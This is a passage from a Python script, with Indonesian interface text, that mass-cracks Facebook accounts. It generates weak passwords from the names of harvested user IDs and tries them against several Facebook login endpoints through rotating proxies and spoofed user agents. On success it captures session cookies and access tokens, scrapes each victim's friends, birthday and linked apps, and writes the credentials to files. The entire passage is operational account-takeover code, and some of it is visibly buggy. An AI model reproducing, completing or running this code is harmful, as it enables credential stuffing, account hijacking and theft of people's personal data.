  737.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  738.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  739.                             continue
  740.                         else:
  741.                             self.password.append(f'{str(passwords).lower()}')
  742.                 elif Password_Akun =='03' or Password_Akun =='3':
  743.                     for nama in fullname.split(' '):
  744.                         if len(nama) < 3:
  745.                             continue
  746.                         else:
  747.                             for passwords in ['Sayang', 'Bismillah', f'{nama}12345']:
  748.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
  749.                                     continue
  750.                                 else:
  751.                                     self.password.append(f'{str(passwords).lower()}')
  752.                 elif Password_Akun =='04' or Password_Akun =='4':
  753.                     for Pemasukan_Password in self.password_manual:
  754.                         self.password.append(Pemasukan_Password)
  755.                 else:
  756.                     for nama in fullname.split(' '):
  757.                         if len(nama) < 3:
  758.                             continue
  759.                         else:
  760.                             for passwords in [f'{nama}123', f'{nama}1234', f'{nama}12345']:
  761.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
  762.                                     continue
  763.                                 else:
  764.                                     self.password.append(f'{str(passwords).lower()}')
  765.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  766.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  767.                             continue
  768.                         else:
  769.                             self.password.append(f'{str(passwords).lower()}')
  770.                 if 'ya' in self.masukan_sandine:
  771.                     for Pemasukan_Password in self.password_manuale:
  772.                         self.password.append(Pemasukan_Password)
  773.                 if Kntl in ('1') or Kntl in (
  774.                     '01'): V.submit(self.ExecWeb, username, self.password)
  775.                 elif Kntl in ('2') or Kntl in (
  776.                     '02'): V.submit(self.ExecAsyinc, username, self.password)
  777.                 elif Kntl in ('3') or Kntl in (
  778.                     '03'): V.submit(self.ExecApi, username, self.password)
  779.                 elif Kntl in ('4') or Kntl in (
  780.                     '04'): V.submit(self.ExecGraph, username, self.password)
  781.                 else: V.submit(self.ExecValid, username, password)            
  782.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.ok}[bold white] Hasil [bold green]Success[bold white] Dan [bold red]{self.cp}[bold white] Hasil [bold red]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] ID, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  783.         exit()
  784.                
  785.     def ExecWeb(self, username, password):
  786.         byps = requests.Session()
  787.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  788.         ua_generate = generate_agent()
  789.         while True:
  790.             try:
  791.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  792.                 else: ua_generate
  793.                 self.poge = byps.get('https://web.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Foidc%2F%3Fapp_id%3D322935469656730%26redirect_uri%3Dhttps%253A%252F%252Fauth.meta.com%252Foidc%252Ffacebook%252Fresponse%252F%26response_type%3Dcode%26scope%3Dopenid%2Blinking%26state%3DATDdIzgSBz9-0qbCMmXEOhRZRqMVnOUQWEoqAWXHJMNR81SpqeyX_WmNClpUF3vjR8zPczvIkLRz6LXtszK9S2STD-Z6AwM4AJj8ep_enYcWdOKcfVXvtlR07dmUe8he94eJlN5D6CSzq9tVgKdaDK_chZaAdFU_xgInMVDOysHx_wNvZM21wPkrlgECyITAtQlVloRVPjj0x0xsVZjMggCo7-ksIf-wFTcVL2OnURBQpIyFokXtafzpmdiwxmUcbU-qa-R4InV05fuCBnFZxzQmDanQhc0V11C8A13ZiGLWCtT9c7RCDovRgCHfuVXZ50iFXJ2nZT4sdbA&_rdc=1&_rdr').text
  794.                 self.payload = {
  795.                     'trynum':'1',
  796.                     'timezone':'-420',
  797.                     'lgndim': re.search('name="lgndim" value="(.*?)"', str(self.poge)).group(1),
  798.                     'lgnrnd': re.search('name="lgnrnd" value="(.*?)"', str(self.poge)).group(1),
  799.                     'lgnjs': re.search('name="lgnjs" value="(.*?)"', str(self.poge)).group(1),
  800.                     'prefill_contact_point': f'{username}',
  801.                     'prefill_source': 'browser_dropdown',
  802.                     'prefill_type': 'password',
  803.                     'first_prefill_source': 'browser_dropdown',
  804.                     'first_prefill_type': 'contact_point',
  805.                     'had_cp_prefilled': 'true',
  806.                     'had_password_prefilled': 'true',
  807.                     'is_smart_lock': 'false',
  808.                     'bi_xrwh': '0',
  809.                     'lsd': re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1),
  810.                     'jazoest': re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1),
  811.                 }
  812.                 byps.headers.update({
  813.                     'host': 'web.facebook.com',
  814.                     'sec-ch-ua-mobile':'?0',
  815.                     'content-length': str(len(self.payload)),
  816.                     'cache-control': 'max-age=0',
  817.                     'sec-ch-ua-mobile': '?1',
  818.                     'sec-ch-ua-platform': '"Android"',
  819.                     'upgrade-insecure-requests': '1',
  820.                     'origin': 'https://web.facebook.com',
  821.                     'x-fb-lsd': self.payload['lsd'],
  822.                     'content-type': 'application/x-www-form-urlencoded',
  823.                     'user-agent': ua_generate,
  824.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  825.                     'sec-fetch-site': 'same-origin',
  826.                     'sec-fetch-mode': 'cors',
  827.                     'sec-fetch-user': '?1',
  828.                     'sec-fetch-dest': 'empty',
  829.                     'referer': 'https://web.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Foidc%2F%3Fapp_id%3D322935469656730%26redirect_uri%3Dhttps%253A%252F%252Fauth.meta.com%252Foidc%252Ffacebook%252Fresponse%252F%26response_type%3Dcode%26scope%3Dopenid%2Blinking%26state%3DATDdIzgSBz9-0qbCMmXEOhRZRqMVnOUQWEoqAWXHJMNR81SpqeyX_WmNClpUF3vjR8zPczvIkLRz6LXtszK9S2STD-Z6AwM4AJj8ep_enYcWdOKcfVXvtlR07dmUe8he94eJlN5D6CSzq9tVgKdaDK_chZaAdFU_xgInMVDOysHx_wNvZM21wPkrlgECyITAtQlVloRVPjj0x0xsVZjMggCo7-ksIf-wFTcVL2OnURBQpIyFokXtafzpmdiwxmUcbU-qa-R4InV05fuCBnFZxzQmDanQhc0V11C8A13ZiGLWCtT9c7RCDovRgCHfuVXZ50iFXJ2nZT4sdbA&_rdc=1&_rdr',
  830.                     'accept-encoding': 'gzip, deflate',
  831.                     'accept-language': 'en-US,id-ID,id;q=0.9',
  832.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  833.                 })
  834.                 self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}  
  835.                 break
  836.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecWeb(username, password)
  837.             except (Exception) as e: pass
  838.         for passe in self.password:
  839.             try:
  840.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10],passe)})
  841.                 self.response = byps.post('https://web.facebook.com/login/device-based/regular/login/?login_attempt=1&next=https%3A%2F%2Fwww.facebook.com%2Foidc%2F%3Fapp_id%3D322935469656730%26redirect_uri%3Dhttps%253A%252F%252Fauth.meta.com%252Foidc%252Ffacebook%252Fresponse%252F%26response_type%3Dcode%26scope%3Dopenid%2Blinking%26state%3DATDdIzgSBz9-0qbCMmXEOhRZRqMVnOUQWEoqAWXHJMNR81SpqeyX_WmNClpUF3vjR8zPczvIkLRz6LXtszK9S2STD-Z6AwM4AJj8ep_enYcWdOKcfVXvtlR07dmUe8he94eJlN5D6CSzq9tVgKdaDK_chZaAdFU_xgInMVDOysHx_wNvZM21wPkrlgECyITAtQlVloRVPjj0x0xsVZjMggCo7-ksIf-wFTcVL2OnURBQpIyFokXtafzpmdiwxmUcbU-qa-R4InV05fuCBnFZxzQmDanQhc0V11C8A13ZiGLWCtT9c7RCDovRgCHfuVXZ50iFXJ2nZT4sdbA&lwv=100', data = self.payload, allow_redirects=True)
  842.                 if 'c_user' in byps.cookies.get_dict().keys():
  843.                     self.ok+=1
  844.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  845.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  846.                     except (Exception) as e: convert_username = username
  847.                     if 'ya' in self.opsi:
  848.                         try:
  849.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  850.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  851.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  852.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  853.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  854.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  855.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  856.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  857.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  858.                             else:
  859.                                 for apk in active: true.add(f"{apk}")
  860.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  861.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  862.                             else:
  863.                                 for apk in inactive: true.add(f"{apk}")
  864.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  865.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  866.                             else:
  867.                                 for apk in deleted: true.add(f"{apk}")
  868.                             printz(tree)
  869.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  870.                         except (Exception) as e:
  871.                             print(e)
  872.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  873.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  874.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  875.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  876.                             printz(tree)
  877.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  878.                     else:
  879.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  880.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  881.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  882.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  883.                         printz(tree)
  884.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  885.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  886.                         wr.write(save)
  887.                         wr.close()
  888.                     break
  889.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  890.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  891.                     except (Exception) as e: convert_username = username
  892.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  893.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  894.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  895.                     printz(tree)
  896.                     self.cp+=1
  897.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  898.                         wr.write(f'{convert_username}|{passe}\n')
  899.                         wr.close()
  900.                     break  
  901.                 else: continue
  902.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  903.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  904.                 time.sleep(31)
  905.         self.lp+=1    
  906.        
  907.     def ExecAsyinc(self, username, password):
  908.         byps = requests.Session()
  909.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  910.         ua_generate = generate_agent()
  911.         while True:
  912.             try:
  913.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  914.                 else: ua_generate
  915.                 self.poge = byps.get('https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
  916.                 self.payload = {
  917.                     'm_ts': re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1),
  918.                     'li': re.search('name="li" value="(.*?)"', str(self.poge)).group(1),
  919.                     'try_number': '0',
  920.                     'unrecognized_tries': '0',
  921.                     'prefill_contact_point': f'{username}',
  922.                     'prefill_source': 'browser_dropdown',
  923.                     'prefill_type': 'password',
  924.                     'first_prefill_source': 'browser_dropdown',
  925.                     'first_prefill_type': 'contact_point',
  926.                     'had_cp_prefilled': 'true',
  927.                     'had_password_prefilled': 'true',
  928.                     'is_smart_lock': 'false',
  929.                     'bi_xrwh': '0',
  930.                     'bi_wvdp': '{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false,"iframeProto":"function get contentWindow() { [native code] }","remap":false,"iframeData":{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false}}',
  931.                     'lsd': re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1),
  932.                     'jazoest': re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  933.                 }
  934.                 byps.headers.update({
  935.                    'host':'m.alpha.facebook.com',
  936.                    'sec-ch-ua-mobile':'?0',
  937.                    'sec-ch-ua-platform': '"Android"',
  938.                    'origin':'https://m.alpha.facebook.com',
  939.                    'upgrade-insecure-requests':'1',
  940.                    'dpr':'2',
  941.                    'content-type':'application/x-www-form-urlencoded',
  942.                    'user-agent': ua_generate,
  943.                    'accept':'*/*',
  944.                    'sec-fetch-site':'same-origin',
  945.                    'sec-fetch-mode':'cors',
  946.                    'sec-fetch-user':'?1',
  947.                    'sec-fetch-dest':'empty',
  948.                    'referer': 'https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  949.                    'accept-language':'en-US,id-ID,id;q=0.9',
  950.                    'x-response-format':'JSONStream',
  951.                    'accept-encoding': 'gzip, deflate',
  952.                    'content-leght': str(len(self.payload)),
  953.                    'viewport-width': '980',
  954.                    'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  955.                 })
  956.                 self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  957.                 break
  958.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecReg(username, password)
  959.             except (Exception) as e: pass
  960.         for passe in self.password:
  961.             try:
  962.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10],passe)})
  963.                 self.response = byps.post('https://m.alpha.facebook.com/login/device-based/login/async/?api_key=665739203554918&auth_token=5ca13e518ab45548c08cecb0929feb1a&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&refsrc=deprecated&app_id=665739203554918&cancel=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&lwv=100&locale2=id_ID&refid=9', data = self.payload,allow_redirects=True)
  964.                 if 'c_user' in byps.cookies.get_dict().keys():
  965.                     self.ok+=1
  966.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  967.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  968.                     except (Exception) as e: convert_username = username
  969.                     if 'ya' in self.opsi:
  970.                         try:
  971.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  972.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  973.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  974.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  975.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  976.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  977.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  978.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  979.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  980.                             else:
  981.                                 for apk in active: true.add(f"{apk}")
  982.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  983.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  984.                             else:
  985.                                 for apk in inactive: true.add(f"{apk}")
  986.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  987.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  988.                             else:
  989.                                 for apk in deleted: true.add(f"{apk}")
  990.                             printz(tree)
  991.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  992.                         except (Exception) as e:
  993.                             print(e)
  994.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  995.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  996.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  997.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  998.                             printz(tree)
  999.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1000.                     else:
  1001.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1002.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1003.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1004.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1005.                         printz(tree)
  1006.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1007.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1008.                         wr.write(save)
  1009.                         wr.close()
  1010.                     break
  1011.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  1012.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1013.                     except (Exception) as e: convert_username = username
  1014.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1015.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1016.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1017.                     printz(tree)
  1018.                     self.cp+=1
  1019.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1020.                         wr.write(f'{convert_username}|{passe}\n')
  1021.                         wr.close()
  1022.                     break  
  1023.                 else: continue
  1024.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1025.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1026.                 time.sleep(31)
  1027.         self.lp+=1    
  1028.        
  1029.     def ExecGraph(self, username, password):
  1030.         byps = requests.Session()
  1031.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1032.         ua_generate = generate_agent()
  1033.         while True:
  1034.             try:
  1035.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1036.                 else: ua_generate
  1037.                 byps.headers.update({'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',"X-FB-Connection-Bandwidth": str(random.randint(20000000, 30000000)),"X-FB-Net-HNI": str(random.randint(900000, 999999)),"X-FB-SIM-HNI": str(random.randint(20000, 40000)),'X-FB-Friendly-Name':'authenticate','X-FB-Connection-Type':'unknown','User-Agent': generate_user_agent(),'Accept-Encoding':'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','X-FB-HTTP-Engine': 'Liger'})
  1038.                 self.payload = {'adid': str(''.join(random.Random().choices(string.hexdigits, k=16))),'format':'json','device_id':str(uuid.uuid4()),
  1039. "session_id": str(uuid.uuid4()),"advertiser_id": str(uuid.uuid4()),"reg_instance": str(uuid.uuid4()),"logged_out_id": str(uuid.uuid4()),"hash_id": str(uuid.uuid4()),"sim_country": "id","network_country": "id","enroll_misauth": "false",'generate_analytics_claims':'1','credentials_type':'password','source':'login','error_detail_type':'button_with_disabled','enroll_misauth':'false',"cpl": "true",'generate_session_cookies':'1',"machine_id": "".join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),'generate_machine_id':'1',
  1040. 'meta_inf_fbmeta':'','currently_logged_in_userid':'0','fb_api_req_friendly_name':'authenticate',"fb_api_caller_class": "com.facebook.account.login.protocol.Fb4aAuthHandler"}
  1041.                 break
  1042.             except requests.exceptions.ConnectionError: time.sleep(5); self.ExecGraph(username, password)
  1043.             except Exception as e: pass
  1044.         for passe in self.password:
  1045.             try:
  1046.                 self.payload.update({'email': username,'password': passe})
  1047.                 self.response = byps.post('https://b-graph.facebook.com/auth/login', data=self.payload, allow_redirects=False)
  1048.                 if "session_key" in str(self.payload.text) and "access_token" in str(self.payload.text):
  1049.                     self.ok+=1
  1050.                     cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
  1051.                     access_token = self.payload.json()['access_token']
  1052.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1053.                     except Exception as e: convert_username = username
  1054.                     if 'ya' in self.opsi:
  1055.                         try:
  1056.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1057.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1058.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1059.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1060.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1061.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1062.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1063.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1064.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1065.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1066.                             else:
  1067.                                 for apk in active: true.add(f"{apk}")
  1068.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1069.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1070.                             else:
  1071.                                 for apk in inactive: true.add(f"{apk}")
  1072.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1073.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1074.                             else:
  1075.                                 for apk in deleted: true.add(f"{apk}")
  1076.                             printz(tree)
  1077.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
  1078.                         except (Exception) as e:
  1079.                             print(e)
  1080.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1081.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1082.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1083.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1084.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1085.                             printz(tree)
  1086.                             save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
  1087.                     else:
  1088.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1089.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1090.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
